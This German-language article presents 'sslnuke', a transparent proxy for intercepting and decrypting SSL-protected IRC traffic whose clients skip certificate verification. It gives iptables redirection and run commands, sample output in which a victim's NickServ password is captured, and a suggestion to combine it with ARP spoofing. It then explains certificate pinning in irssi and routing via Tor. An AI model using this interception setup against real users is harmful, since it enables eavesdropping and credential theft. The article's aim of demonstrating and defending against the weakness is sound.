
Transparenter Proxy, der SSL-Datenverkehr entschlüsselt und IRC-Nachrichten ausgibt.
Wir haben alle schon immer wieder gehört, dass SSL ohne Verifizierung nicht sicher ist. Wenn eine SSL-Verbindung nicht mit einem zwischengespeicherten Zertifikat verifiziert wird, kann sie leicht von jedem Angreifer übernommen werden. Im Jahr 2013 hätte man also meinen können, dass wir dieses Problem vollständig gelöst hätten. Browser zwischenspeichern Zertifikate und warnen den Benutzer sehr deutlich, wenn eine Website ein selbst signiertes Zertifikat vorgelegt hat und nicht vertrauenswürdig ist. Die Browser-Hersteller haben dieses Problem damit so ziemlich gelöst. Allerdings ist HTTPS nicht das einzige Protokoll, das SSL verwendet. Leider verifizieren viele Clients für diese anderen Protokolle standardmäßig nicht, und selbst wenn sie es täten, gibt es keine Garantie für eine sichere Zertifikatsübertragung. Schließlich: Wie viele Menschen sind bereit, 50 $ für ein SSL-Zertifikat für ihren FTPS-Server zu bezahlen?
Ein verbreitetes Protokoll, das SSL verwendet, aber selten verifiziert wird, ist IRC. Viele IRC-Clients verifizieren standardmäßig, aber die meisten Benutzer schalten dies ab, weil IRC-Server-Administratoren dazu neigen, keine legitimen SSL-Zertifikate zu kaufen. Einige beliebte Clients lassen die SSL-Verifizierung sogar standardmäßig deaktiviert (zum Beispiel IRSSI). Wir wissen bereits, dass dies unklug ist: Jeder Angreifer zwischen einem Benutzer und dem IRC-Server kann ein ungültiges Zertifikat anbieten und den gesamten Datenverkehr des Benutzers entschlüsseln (einschließlich möglicherweise sensibler Nachrichten). Die meisten Benutzer berücksichtigen diese Tatsache nicht einmal, wenn sie sich mit einem SSL-„gesicherten“ IRC-Server verbinden.
Der Zweck von sslnuke ist es, ein Werkzeug zu entwickeln, das auf das Entschlüsseln und Abfangen von „gesichertem“ IRC-Datenverkehr ausgerichtet ist. Es gibt bereits zahlreiche Werkzeuge, die SSL-Datenverkehr abfangen, aber die meisten davon sind auf HTTP-Datenverkehr ausgerichtet. sslnuke zielt direkt auf IRC, um zu demonstrieren, wie einfach es ist, „gesicherte“ Kommunikation abzufangen. Die Verwendung von sslnuke ist einfach.
Fügen Sie zuerst ein Benutzerkonto hinzu, unter dem sslnuke ausgeführt werden soll, und fügen Sie iptables-Regeln hinzu, um den Datenverkehr an sslnuke umzuleiten:
# useradd -s /bin/bash -m sslnuke
# grep sslnuke /etc/passwd
sslnuke:x:1000:1000::/home/sslnuke:/bin/bash
# iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner 1000 -m tcp \
--dport 6697 --tcp-flags FIN,SYN,RST,ACK SYN -j REDIRECT --to-ports 4444
Melden Sie sich schließlich als sslnuke an, kompilieren Sie den Quellcode und führen Sie sslnuke aus:
# su -l sslnuke
# cd sslnuke
# make
# ./sslnuke
Starten Sie einen IRC-Client und melden Sie sich über SSL bei Ihrem bevorzugten IRC-Netzwerk an. IRC-Nachrichten werden von sslnuke auf stdout ausgegeben.
[*] Received connection from: 192.168.0.5:58007
[*] Opening connection to: 1.1.1.1:6697
[*] Connection Using SSL!
[*] irc.com -> AUTH (1.1.1.1): *** Looking up your hostname...
[*] irc.com -> AUTH (1.1.1.1): *** Found your hostname
[*] irc.com -> victim (1.1.1.1): *** You are connected to irc.vps-heaven.com with TLSv1.2-AES256-GCM-SHA384-256bits
[*] 192.168.0.5 -> nickserv (192.168.0.5): id hello
[*] [email protected] -> victim (1.1.1.1): Password accepted - you are now recognized.
sslnuke erkennt automatisch, ob ein Client SSL verwendet, und bestimmt, ob SSL verwendet werden soll. Der Code könnte auch leicht geändert werden, um Website-Passwörter oder FTP-Daten anzuzeigen – also alles, was SSL verwendet. Um Benutzer in einem Netzwerk anzugreifen, kann sslnuke zusammen mit einem ARP-Spoofing-Werkzeug verwendet werden, wie beispielsweise dem auf Blackhat Library, oder es kann auf einem Gateway eingesetzt werden.
Eine Videodemonstration von sslnuke kann auf ascii.io angesehen werden.
Kommen wir nun zum wichtigen Teil: Wie verifizieren wir SSL-Verbindungen? Der erste Schritt besteht darin, das SSL-Zertifikat über ein alternatives Medium zu übertragen. Am besten wäre es, wenn der Administrator Ihnen das Zertifikat direkt aushändigt. Ist das jedoch nicht möglich, kann openssl das Zertifikat vom Server herunterladen:
# openssl s_client -showcerts -connect irc.com:6697 </dev/null
Speichern Sie das Zertifikat unter ~/.irssi/ssl/irc.com.crt. Am besten führen Sie den Befehl von einem Computer in einem anderen Netzwerk als Ihrem aus, um zu verhindern, dass dieser abgefangen wird. Um IRSSI zur Verwendung des Zertifikats zu konfigurieren, speichern Sie ein Netzwerk:
/network add irc
/server add -ssl_cafile ~/.irssi/ssl/irc.com.crt -network irc -port 6697 irc.com
Falls IRSSI jemals ein ungültiges Zertifikat erhält, warnt es Sie und trennt die Verbindung sofort. Für die wirklich Paranoiden sollte jedoch ein Tor-Hidden-Service oder ein VPN verwendet werden. Um die automatische Weiterleitung zu Tor-Hidden-Services unter Linux zu konfigurieren, kann man die folgenden Befehle ausführen:
# echo "VirtualAddrNetwork 10.192.0.0/10" >> /etc/tor/torrc
# echo "AutomapHostsOnResolve 1" >> /etc/tor/torrc
# echo "TransPort 9040" >> /etc/tor/torrc
# echo "DNSPort 5353" >> /etc/tor/torrc
# killall -HUP tor
# iptables -t nat -A OUTPUT -p tcp -d 10.192.0.0/10 -j REDIRECT --to-ports 9040
# iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 5353
# ncat xxxxxxxxxxxxxxx.onion 6667
:irc.com NOTICE AUTH :*** Looking up your hostname...
:irc.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
^C
Letztendlich sollten IRC-Clients eine SSH-artige Schlüsselverifizierung verwenden. Beim ersten Verbindungsaufbau sollte dem Benutzer der Zertifikats-Fingerprint angezeigt werden; er sollte gezwungen werden, ihn zu bestätigen, und das Zertifikat sollte anschließend zwischengespeichert werden. Wenn es sich beim nächsten Mal ändert, sollte die Verbindung nicht zugelassen werden.
Der Quellcode kann auf Github heruntergeladen werden.